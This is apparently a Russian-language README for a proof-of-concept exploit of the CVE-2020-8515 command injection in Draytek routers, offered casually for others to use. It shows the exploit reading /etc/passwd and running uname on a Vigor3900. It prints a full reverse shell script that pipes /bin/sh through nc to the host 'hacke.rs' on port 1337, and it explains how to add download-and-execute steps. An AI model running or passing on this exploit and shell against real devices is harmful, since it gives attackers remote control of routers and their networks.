
Эксплойт Proof-of-Concept для внедрения команд CVE-2020-8515 в маршрутизаторах Draytek. Включает автоматическую эксплуатацию, доставку обратной оболочки и интеграцию с шаблонами сканирования nuclei.
Draytek CVE-2020-8515 PoC, который у меня валялся.
Забавно, но внедренная команда выполняется дважды, смотрите здесь:
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
У меня были планы хорошо довести это до ума, но, честно говоря, прошел уже год, и я не могу вспомнить, что это были за планы, так что вот. Добавить сюда wget/chmod/exec несложно, просто посмотрите на функцию "do_stuff".
Если вы скачаете с помощью wget и запустите скрипт, подобный следующему, вы получите обратную оболочку:
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
Думаю, вы также сможете загрузить такой скрипт через echo, если сможете обойти недопустимые символы во внедрении, может быть, я добавлю это позже — проблема двойного выполнения делает это довольно утомительным. А пока это что-то вроде полуфабриката, "решает пользователь".
Этот эксплойт не причинит большого вреда в реальном мире, все уязвимые устройства, вероятно, уже были захвачены скрипт-кидди для DDoS-ботнетов.
Для сканирования: используйте шаблон nuclei, который кто-то сделал